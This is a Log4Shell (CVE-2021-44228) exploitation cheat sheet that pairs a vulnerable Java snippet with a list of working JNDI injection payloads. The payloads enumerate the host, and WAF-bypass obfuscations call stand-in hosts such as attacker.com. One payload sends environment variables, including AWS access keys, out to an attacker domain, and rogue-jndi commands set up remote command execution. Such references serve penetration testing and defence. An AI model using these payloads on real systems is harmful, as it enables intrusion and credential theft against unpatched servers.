CVE-2021-44228 Log4Shell

> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled

Summary

Vulnerable code

You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using christophetd/log4shell-vulnerable-app or leonjza/log4jpwn

```
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
    logger.info("Received a request for API version " + apiVersion);
    return "Hello, world!";
}
```

Payloads

```
# Identify Java version and hostname
${jndi:ldap://${java:version}.domain/a}
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a}
${jndi:ldap://${hostName}.domain/a}
${jndi:dns://${hostName}.domain}

# More enumerations keywords and variables
java:os
docker:containerId
web:rootDir
bundle:config:db.password
```

Scanning

- log4j-scan

```
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE]
[--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
                     [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-
provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host
CUSTOM_DNS_CALLBACK_HOST]
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
```

- Nuclei Template

WAF Bypass

```
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}

# using lower and upper
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

# using env to create the letter
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-
l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-
l}dap${env:BARFOO:-:}//attacker.com/a}
```

Exploitation

Environment variables exfiltration

```
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/

# AWS Access Key
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/
${env:AWS_SECRET_ACCESS_KEY}
```

Remote Command Execution

- rogue-jndi - @artsploit

```
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname
"192.168.1.21"
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to
artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to
artsploit.controllers.WebSphere1
```

```
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to
artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to
artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to
artsploit.controllers.WebSphere2
```

- JNDI-Exploit-Kit - @pimps

References

- Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021
- Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021
- PSA: Log4Shell and the current state of JNDI injection - December 10, 2021